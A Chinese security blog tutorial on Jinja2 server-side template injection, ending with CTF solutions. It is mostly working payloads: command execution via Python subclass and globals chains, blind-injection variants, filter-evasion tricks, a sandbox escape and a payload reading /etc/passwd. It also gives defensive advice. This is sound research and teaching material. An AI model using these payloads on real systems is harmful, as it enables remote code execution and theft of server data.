SecMap - SSTI(jinja2)

本文最后更新于:2022年10月14日 上午

SecMap 系列之 SSTI(jinja2)

SSTI(Server-Side Template Injection)服务端模板注入。

SSTI 其实和编程语言、框架、模板语言都没啥强绑定关系,只是不同编程语言或者模板语言有不同的注入姿势罢了。SSTI 由于涉及到的组件非常多,还和特定组件的利用方式(比如 SSTI + jinja2SecMap - Flask 有很大关系),但是由于篇幅原因应该分开来写,所以我拆的细了一些,本文主要讲 jinja2 的 SSTI。后面还会有其他模板语言、框架的利用介绍,反正慢慢写橘友们慢慢看吧。

注:本文基本上都是 py3.x 的环境。

介绍

既然所谓模板注入,我们就先要了解一下这个“模板”是怎么来的。这与所谓的 MVC(即 Model、View、Controller)息息相关,MVC 要实现的目标是将软件用户界面和业务逻辑分离以使代码可扩展性、可复用性、可维护性、灵活性加强。其中 View 层是界面,Model 层是业务逻辑,Controller 层用来调度 View 层和 Model 层。不过如何正确认识与利用 MVC 指导设计,我们暂时按下不表。

上文所谓的“模板”,简单来说就是一个其中包涵占位变量表示动态的部分的文件,模板文件在经过动态赋值后,返回给用户,可以理解为渲染。那其实就是这里的 V 所经常使用的一种东西。例如在 Python 中,jinja2 是我最为常用的模板语言,基于 jinja2 的组件也有很多,例如 flask,同样是我非常非常喜欢的 Web 框架。

jinja2 语法

依旧推荐官方文档,见资料 1

作为一门模板语言,肯定有自己的一套语法规则。

基础语法

jinja2 的基础语法规则一共 3 种:

  1. 控制结构 {% %},也可以用来声明变量({% set c = "1" %}
  2. 变量取值 {{ }},比如输入 1+12*2,或者是字符串、调用对象的方法,都会渲染出执行的结果
  3. 注释 {# #}
  4. 其他:还有些奇奇怪怪的语法,随着版本更新可能会去掉,这部分如果需要就看文档慢慢找

对于这三种语法,看一个例子就懂了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from jinja2 import Template

tp = Template('''{#
这是一个注释
#}

{% set c = [5, 6, 7, 8, 9] %}

{% for i in a+c %}
{% if i % 2 %} {{ i }} {% endif %}
{% endfor %}
''')

print(tp.render(a = [0, 1, 2, 3, 4]))

结果就是输出 1、3、5、7、9

另外,jinja2 还有特殊的语法:

  1. 过滤器
  2. 模板继承

过滤器

文档见资料 4

过滤器可以理解为是 jinja2 里面内置的函数和字符串处理函数,用于修饰变量。甚至支持参数 range(10)|join(', ');以及链式调用,只需要在变量后面使用管道符 | 分割,前一个过滤器的输出会作为后一个过滤器的输入,例如,{{ name|striptags|title }} 会移除 HTML Tags,并且进行 title-case 转化,这个过滤器翻译为 Python 的语法就是 title(striptags(name))

可以看出,过滤器极大丰富了模板的数据处理能力,同时也在后面攻击时发挥了很大的作用 :)

jinja2 内置了很多函数,嗯,非常不错,但是我还是觉得不够,怎么办呢?可以自己编写一个函数,然后在模板中调用,这就是宏(macro)的作用 — 自定义函数:

1
2
3
4
5
6
{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}

<p> {{ hack('Tr0y') }} </p>
<p> {{ hack() }} </p>

macro 后面跟函数名与参数,调用方法也很 Pythonic。

模板继承

文档见资料 5

模板继承允许我们创建一个骨架文件,其他文件从该骨架文件继承。并且还支持针对自己需要的地方进行修改。

jinja2 的骨架文件中,利用 block 关键字表示其包涵的内容可以进行修改。这里直接举例吧:

这个是骨架文件:base.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<head>
{% block head %}
<title>{% block title %}{% endblock %} - Home</title>
{% endblock %}
</head>

<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
<script>This is javascript</script>
{% endblock %}
</div>
</body>

bbb.html 继承 base.html 的模板:

1
2
3
4
5
6
7
8
9
10
11
12
{% extends "base.html" %}  <!-- 继承 -->

{% block title %} Tr0y's Blog {% endblock %} <!-- title 自定义 -->

{% block head %}
{{ super() }} <!-- 用于获取原有的信息 -->
<style type='text/css'>
.important { color: #FFFFFF }
</style>
{% endblock %}

<!-- 其他不修改的原封不动的继承 -->

渲染:

1
2
3
4
from jinja2 import FileSystemLoader, Environment

env = Environment(loader=FileSystemLoader("./"))
print(env.get_template("bbb.html").render())

这里用到了 FileSystemLoader,其实用它的逻辑很简单。我们在 bbb.html 中写了 {% extends "base.html" %},那 jinja2 怎么知道 base.html 在哪呢?FileSystemLoader 就是用来指定模板文件位置的。同样用途的还有 PackageLoader,它是用来指定搜索哪个 Python 包下的模板文件,以及其他,见资料 6

杂项

去除空格

jinja2 中如果不加换行的话,可读性很差,如果加了的话,渲染后又会有多余的空格。我们可以在标签的前后加上 -,这样就不会有空格了:

1
2
3
4
5
6
{% macro hack(name="Macr0phag3") %}
<h1> Hacked by {{ name }} </h1>
{% endmacro %}

<p> {{- hack('Tr0y') -}} </p>
<p> {{- hack() -}} </p>

SSTI in jinja2

攻击思路

由于模板语法对 Python 语句是有一定程度支持的,所以利用 {% %} 就可以非常轻松地进行攻击,例如:

1
2
3
4
5
6
7
print(
Template('''
{% for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close" %}
{{ i.__init__.__globals__['system']('whoami') }}
{% endfor %}
''').render()
)

或者知道 index 的话,直接打:
1
2
3
4
5
print(
Template(
''' {{ ''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami") }}'''
).render()
)

这一部分与资料 2 的原理是一样的,这里就不啰嗦了。

有一点需要注意的是,由于这里并不是完全支持 Python 所有的语法,所以很多语法是无法使用的,比如列表推导,如果熟练掌握了 Python 沙箱逃逸的原理,那么你可能会这么写 exp:

1
print(Template('''{{ [i for i in ''.__class__.__mro__[-1].__subclasses__() if i.__name__ == "_wrap_close"][0].__init__.__globals__['system']('whoami') }}''').render())

可惜这是不行的:TemplateSyntaxError: expected token ',', got 'for',jinja2 并不支持在 {{ }} 里玩 if+推导式。

所以熟练掌握 jinja2 中可以使用的函数、过滤器、语法规则,对于攻击来说是很重要的。这部分推荐去看官方文档(见资料 4):

以及比如对于 for 循环来说,还有特殊的方法可供在循环块内部使用(见资料 7)

反正不管怎么样,攻击思路受限的时候,官方文档一定是寻找新姿势的最佳途径。

顺便说一下,jinja2 更新之后可能会引入新的过滤器、函数,例如 3.0.2 就没有 items 过滤器,到了 3.1.0 就有了。

更新日志见资料 8

bypass 思路

bypass 字符、数字的通用姿势

最简单的 bypass,按照资料 2 中的思路([ ] 扣字符拼接、chr 等等)即可(这里面有的姿势我就不列举了,如果不记得的话强烈建议复习一遍)。

其实扣字符可以做的非常细,以至于理论上我们可以扣出所有的字符或者数字(其实还是资料 2 中的思路,姿势很多,以下只举例):

  1. 数字 0:{{ {}|int }}{{ {}|length }}
  2. 数字 1:{{ ({}|int)**({}|int) }}
  3. 理论上有了 1 之后就可以搞出所有其他数字,可以用 + 或者是 -+|abs
  4. 空格:{{ {}|center|last }}{1:1}|xmlattr|first
  5. <{}|select|string|first
  6. >{}|select|string|last
  7. 点:{{ self|float|string|min }} 或者 c.__lt__|string|truncate(3)|first
  8. a-z{{ range.__doc__ + dict.__doc__}}
  9. A-Z{{ (range.__doc__ + dict.__doc__) | upper }}

上面这种都比较常规,思路还是扣字符的思路,顶多是过滤器做了变化。

这里多说一下利用格式化字符串实现的任意字符构造(例如字符 d):

  1. 首先搞出 %c{{ {}|string|urlencode|first~(self|string)[16] }}
  2. 然后搞出 d{{ ({}|string|urlencode|first~(self|string)[16]) % 100 }}

还不需要引号。

间接获取内置函数

正如上文说的,jinja2 仅仅支持部分 Python 内置函数,例如 chr 就无法直接使用。

好在我们可以利用资料 2 的手段,获取那些被隐藏的函数,例如 chr,我们可这样:

1
2
3
{{ 
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]
}}

如果你觉得每次调用都需要这样写,太麻烦了,payload 也冗余,那么结合 {% set ... %} 就可以这么玩:

1
2
3
{% set chr = ().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"]%}

{{ chr(97)+chr(98) }}

那结合宏就可以这么玩:

1
2
3
4
5
{%- macro chr(i) -%}
().__class__.__base__.__subclasses__()[100].__init__.__globals__["__builtins__"]["chr"](i)
{%- endmacro -%}

{{ chr(97)+chr(98) }}

当然啦,由于 jinja2 中有自己的一些内置变量等,所以会有一些资料 2 之外的姿势。例如利用 Undefined 实例可以直接拿到 __globals__

1
{{ x.__init__.__globals__ }}

所以就可以有:

  • x.__init__.__globals__.__builtins__
    • x.__init__.__globals__.__builtins__.eval
    • x.__init__.__globals__.__builtins__.exec
  • x.__init__.__globals__.sys.modules.os
  • x.__init__.__globals__.__builtins__.__import__
  • ...

通过查阅源码或者文档可知,默认命名空间自带这几种函数

或者用 self.__dict__._TemplateReference__context 也可以看到。

所以就有:

  1. self.__init__.__globals__
  2. lipsum.__globals__.os
  3. cycler.__init__.__globals__.os
  4. joiner.__init__.__globals__.os
  5. namespace.__init__.__globals__.os

其实这些随便找个方法都可以搞到 __globals__。那为啥其他的比如 range 就不可以呢?其实在资料 2 中也已经说过了。

过滤 .

按照资料 2 中的思路,如果过滤了 .,我们很容易想到用 getattr__getattribute__

  1. {{ getattr(1, "__class__") }}
  2. {{ 1.__getattribute__("__class__") }}

在 jinja2 中,由于 [key] 的特殊性(资料 3)

[key]. 是基本上等价的,只是处理逻辑先后上有区别,. 是先按查找属性执行,再按照用键查字典的值去执行,[key] 则相反。并且还提到,如果想查找属性还可以用 attr

所以我们就可以这么玩:

  1. {{ 1["__class__"] }}
  2. {{ 1 | attr("__class__") }}

由于过滤器 map 也支持取属性,所以可以这样:

1
2
# 注意,由于 map 需要一个可迭代对象,所以外面需要套个 [ ]
{{ [1] | map(attribute="__class__")| list | first }}`

过滤 [ ]

分为两种情况:

  1. 如果是要取 index,除去资料 2 中的思路(__getitem__pop 等等)之外,如果是字典,那么利用 bypass 过滤 . 中的结论,可以用 . 来代替 [key]{{ {"a": 1}.a }}
  2. 如果是要构造一个列表,我们一般是给最外面加个 [] 就好了。在中括号被过滤的情况下,则可以使用 slice 来替代。例如 "1"|slice(1)|list[['1']] 是等价的。

过滤 {{ }}

这种情况下寻找其他语法就行了。比如 {% %}

{% macro %} 就不提了。

{% print(...) %}

1
{% print(''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']("whoami")) %}

还有 {% if %}{% set %}{% for %} ... 都是可以执行命令的,只是无回显。如果非要有回显,利用盲注的思想,可以走带外通道。怎么盲注?见资料 2,原理是一样的,这里就不啰嗦了。
比如时间盲注:

1
2
3
4
5
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr a 1)')|list %}{% endif %}
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr b 1)')|list %}{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('sleep $(whoami | cut -c 1 | tr m 1)')|list %}{% endif %}
# 延时 1s 说明第一个字符是 m

当然这种语法本身也可以盲注,比如布尔盲注:

1
2
3
4
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a" %}yes{% endif %}
...
{% if dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m" %}yes{% endif %}
# 输出 yes 说明第一个字符是 m

甚至可以搞基于报错的盲注:

1
2
3
4
{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "a")] %}{% endfor %}
...
{% for i in [1][(dict.mro()[-1].__subclasses__()[133].__init__.__globals__.popen('whoami').read()[0] == "m")] %}{% endfor %}
# 不报错说明第一个字符是 m

因为对于 jinja2 来说,索引过大是返回 Undefined,不会报错。当然啦,如果把上面的 [1] 换成 [[1]] 就变成了布尔盲注。

限制过滤器或函数

姿势主要有三种:

  1. 有些过滤器是可以被替换的,比如 []|string 等同于 []|format。这种方式主要依赖于使用过滤器的目的,不太好列出统一的替换规则,所以我就不一一列举了。熟悉各种过滤器的作用是这种 bypass 的前提。
  2. 大部分过滤器可以转为 [] 嵌套 + map() 来使用。例如 []|string 等同于 [[]]|map("str""ing")|list|last。这种姿势相对来说通用,遗憾的是,无法带参数使用过滤器。
  3. self.__dict__._TemplateReference__context 中包含了内置的全局函数,可以直接用。

过滤引号

除了用上面提到的常规姿势之外:

创建 dict

这个其实也在资料 2 中提及过。

例如 whoami

  • {{ dict(whoami=x)|join }}
  • {{ dict(who=x,ami=x)|join }}
  • {{ dict(whoami=x)|list|first }}
  • {{ dict(whoami=x)|items|list|first|first }}
  • ...

艾玛,真香哎

如果遇到特殊字符,再用常规姿势就好了。

py3.9 新姿势

如果漏洞点无法支持 set,那么挨个字符拼接的 payload 太长了,所以还需要寻找除了用 dict() 的新的优化方式。在 PEP 585(py3.9)中,我找到了新的姿势。

首先需要一个前置知识点:类型注解。如果你没用过 Python 类型注解,建议阅读资料 9

在 PEP 560(py3.7)中,官方新增了 __class_getitem__ 方法,这个方法的功能是按照 key 参数指定的类型返回一个表示泛型类的特殊对象,这样可以支持运行时对泛型类进行参数化,让注解更容易使用:

在 PEP 585(py3.9)中(见资料 10)

进一步对类型注解做了升级,支持通过 __class_getitem__() 来参数化 typing 模块中所有标准的容器类型,这样我们可以将 list 或 dict 直接作为列表和字典的类型注释,而不必依赖 typing.List 或者 typing.Dict。因此,代码现在看起来更加简洁,而且更容易理解和解释。

Python 文档中反复提及“参数化泛型”这个词。PEP 585 也给出了定义:

1
parameterized generic – a specific instance of a generic with the expected types for container elements provided. Also known as a parameterized type. For example: dict[str, int].

最后,Python 中有个,GenericAlias 对象充当泛型类型的代理,实现参数化泛型。对于容器类,提供给该类的参数可指示对象包含的元素的类型。

可支持参数化泛型的类可参考资料 11

到这里,我们就可以发现,打印 list[int] 的结果是 list[int],它其实是一个 GenericAlias

那自然,这样也是 ok 的:list["whoami"],加上 jinja2 的 . 的特殊性,我们就用了一种船新的玩法。比如可以这样执行 whoami,不带有引号:

1
dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system((dict.whoami|string)[6:-2]|join)

不过由于语法的限制,这样是无法加上空格以及特殊字符(/.( ) 等)的,所以没法直接带参数或者带一些特殊的字符执行。

所以为了实用一些,例如 cat th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g,还是得用到其他获取字符的手段,比如 chr

1
2
3
4
5
6
7
8
9
dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join(
dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(32)
)
)

长度为 243。

或者是扣字符拼接:

1
2
3
4
5
6
dict.mro()[-1].__subclasses__()[133].__init__.__globals__.system(
(
[( dict.cat |string)[6:-2]|join] +
[( dict.th1s_1s_a_lo0o0o0o0o0o0o0ng_fl4g |string)[6:-2]|join]
)
| join((dict|string)[6]))

这个长度为 181。

利用相同的逻辑,我们可以找出其他 bypass 的姿势,其实都是利用了 __class_getitem__,再想办法把结果变成 str 类型:

  1. (dict.whoami|string)[6:-2]|join
  2. (dict.whoami|title...
  3. (dict.whoami|trim...
  4. (dict.whoami|lower...
  5. (dict.whoami|center...
  6. (dict.whoami|format...
  7. (dict.whoami|capitalize...
  8. (dict.whoami|indent)[6:-2]|join

下面这些会用到引号,所以可能并不实用:

  1. (dict.whoami|string).split("'").pop(-2)
  2. (dict.whoami|replace("", "").pop(-2)
  3. ("00"|join(dict.whoami)).split("'").pop(-2)
  4. (dict.whoami|urlize).split("&#39;").pop(-2)
  5. (dict.whoami|urlencode).split("%27").pop(-2)

上面这么多都是类似的逻辑。如果出现过滤器禁用的情况,可以互相做替换。

组合之前的一些技巧,还可以这样:

  1. 引号、[ ] 被过滤:(dict.whoamiiii|string|slice(3)|list).pop(1)|join(或者挨个 pop 完之后拼接起来,就是会比较长)
  2. 引号、数字、[ ] 被过滤:(dict.whoamiiii|string|slice(True+True+True)|list).pop(True)|join

下面这些可能都不实用,但是作为技巧看一下还是挺有启发的:

1
2
3
4
5
6
7
8
# . 被过滤
([dict]|map(attribute='whoami')|list|string)[7:-3]

# 特定的过滤器被禁用
(([dict.whoamiiii|string]|list|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join

# [] 被过滤 + 特定的过滤器被禁用
(((""|slice(1,fill_with=(dict.whoamiiii|string))|list).pop()|map("sl"+"ice", 3)|list).pop(0)|list).pop(1)|join

自然,这个技巧只有 > py3.9 才可以使用。

从上面可以看出,这个姿势要实用,很依赖 .,如果这个被干掉了那就要换其他的姿势了。

利用 jinja2 + flask 组合 bypass

jinja2 最常见的搭档就是 flask 了。由于 flask 会引入新的变量,所以也会引入新的姿势。这一部分正如本文开头所述,jinja2 的 SSTI 与 Flask 关联紧密,这一部分我放在了 《SecMap - Flask》 中。

jinja2 沙盒绕过

实际上,jinja2 有自带的,独立于 Python 的沙盒环境。默认沙盒环境在解析模板时会检查所操作的属性,这种检查是运行时的检查,绕过是比较困难的。也就是说即使模板内容被用户所控制,也是无法绕过沙盒执行代码或者获取敏感信息的。

但在历史上,jinja2 < v2.8.1 由于没有考虑到 format 可触发字符串格式化漏洞,导致沙盒可以被绕过:

1
2
3
4
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
print(env.from_string("""{{ '{0.__class__.__base__}'.format([]) }}""").render())

在攻击之外

上面所述的思路,都是局限在 Template 中的,因为我们要思考攻击场景,没有攻击场景的 payload 用处是很有限的。

但是,如果我们在写一些自动化的脚本,用来扫描或者是搜索变量,难免也会用到一些内置函数(例如 dir),通过上面这些思路利用 SSTI 去获取内置函数当然是可以的,但其实 render 本身是可以指定参数传递给模板使用的,所以不限于攻击,可以这样:

1
Template("{{ dir(self) }}").render(dir=dir)

另外再说一嘴,render 返回的固定是字符串,如果我们想获取变量示例,如果是个字符串或者列表之类的基本类型,那倒简单,直接 eval 下就好。如果是简单一些示例,可以考虑用 pickle 来玩。但是如果是一些非常规的实例,应该怎么拿到呢?例如 self 这个内置变量:

1
2
3
In [20]: Template1("{{ pickle.dumps(self) }}").render(pickle=pickle)
...
TypeError: cannot pickle 'module' object

这个时候我们其实可以通过 __main__ 来存储模板里的变量,这个办法应该是最完美的了:

1
2
3
4
5
6
7
In [25]: Template(
...: "{{ setattr(__import__('__main__'), 'result', self) }}"
...: ).render(setattr=setattr, __import__=__import__)
Out[25]: 'None'

In [26]: result
Out[26]: <TemplateReference None>

防御

防御这种漏洞肯定不能用关键字过滤,Python 实在是太灵活了。

如果可以的话,还是不要让模板对用户可控了。

如果一定要有这种需求,还是得用 SandboxedEnvironment

1
2
3
4
from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
print(env.from_string("""{{ [].__class__.__base__ }}""").render())

对于未注册的属性访问都会抛出错误:SecurityError: access to attribute xxx of xxx object is unsafe.,下面这些都是凉凉的:

  1. [].__class__.__base__
  2. []["__class__"]["__base__"]
  3. []["__class__"]["__base__"]
  4. dict.mro()
  5. self.__dict__._TemplateReference__context
  6. ...

但是通过一些变量来拿敏感信息,还是有搞头的,我们后面再讲。

资料

  1. jinja2 官方文档
    https://jinja.palletsprojects.com/en/3.1.x/templates/#synopsis
  2. Python 沙箱逃逸经验总结:
    https://www.tr0y.wang/2019/05/06/Python沙箱逃逸经验总结/
  3. jinja2 - getattr
    https://jinja.palletsprojects.com/en/3.1.x/templates/?highlight=getattr#variable
  4. jinja2 - builtin-filters
    https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters
  5. jinja2 - 模板继承
    https://jinja.palletsprojects.com/en/3.1.x/templates/#template-inheritance
  6. jinja2 - PackageLoader
    https://jinja.palletsprojects.com/en/3.1.x/api/?highlight=packageloader#loaders
  7. jinja2 - for
    https://jinja.palletsprojects.com/en/3.1.x/templates/#for
  8. jinja2 - changes
    https://jinja.palletsprojects.com/en/3.1.x/changes/
  9. Python 类型注解
    https://www.gairuo.com/p/python-type-annotations
  10. pep-0585
    https://peps.python.org/pep-0585/#implementation
  11. standard generic classes
    https://docs.python.org/zh-cn/3/library/stdtypes.html#standard-generic-classes

OrangeKiller CTF 第 1 期题解

jinjia2 se

1
2
3
4
5
6
import jinja2


input_payload = '''''.__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__['system']()'''

print(jinja2.Template("{{"+input_payload+"}}").render())

jinjia2 plus

1
2
3
4
5
6
7
8
9
import jinja2


input_payload = '''[whoami].__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__.system(().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(119)+().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(104)+().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(111)+().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(97)+().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(109)+().__class__.__base__.__subclasses__()[100].__init__.__globals__.__builtins__.chr(105))'''

if "'" in input_payload or '"' in input_payload:
raise RuntimeError("Oh, Hacker!")

print(jinja2.Template("{{"+input_payload+"}}").render())

jinjia2 pro

1
2
3
4
5
6
7
8
9
import jinja2


input_payload = '''[whoami].__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__.system(dict(whoami=x)|join)'''

if "'" in input_payload or '"' in input_payload and len(input_payload) > 500:
raise RuntimeError("Oh, Hacker!")

print(jinja2.Template("{{"+input_payload+"}}").render())

jinjia2 pro max

1
2
3
4
5
6
7
8
9
import jinja2


input_payload = '''[whoami].__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__.system((dict(cat=x)|join)+dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(32)+dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(47)+dict(etc=x,passwd=x)|join(dict.mro()[-1].__subclasses__()[100].__init__.__globals__.__builtins__.chr(47)))'''

if "'" in input_payload or '"' in input_payload and len(input_payload) > 500:
raise RuntimeError("Oh, Hacker!")

print(jinja2.Template("{{"+input_payload+"}}").render())

这个 payload 应该还有优化的空间,留给橘友们研究吧~

当然,上面这几题用 1}} {{ payload }} {{1` 这样来闭合外层的 `{{ }},再用 {% set %} 之类的也是 ok 的。


SSTI 这个系列的知识点真是越整理越多
罢了,拖更就好了

开摆!


SecMap - SSTI(jinja2)
https://www.tr0y.wang/2022/04/13/SecMap-SSTI-jinja2/
作者
Tr0y
发布于
2022年4月13日
更新于
2022年10月14日
许可协议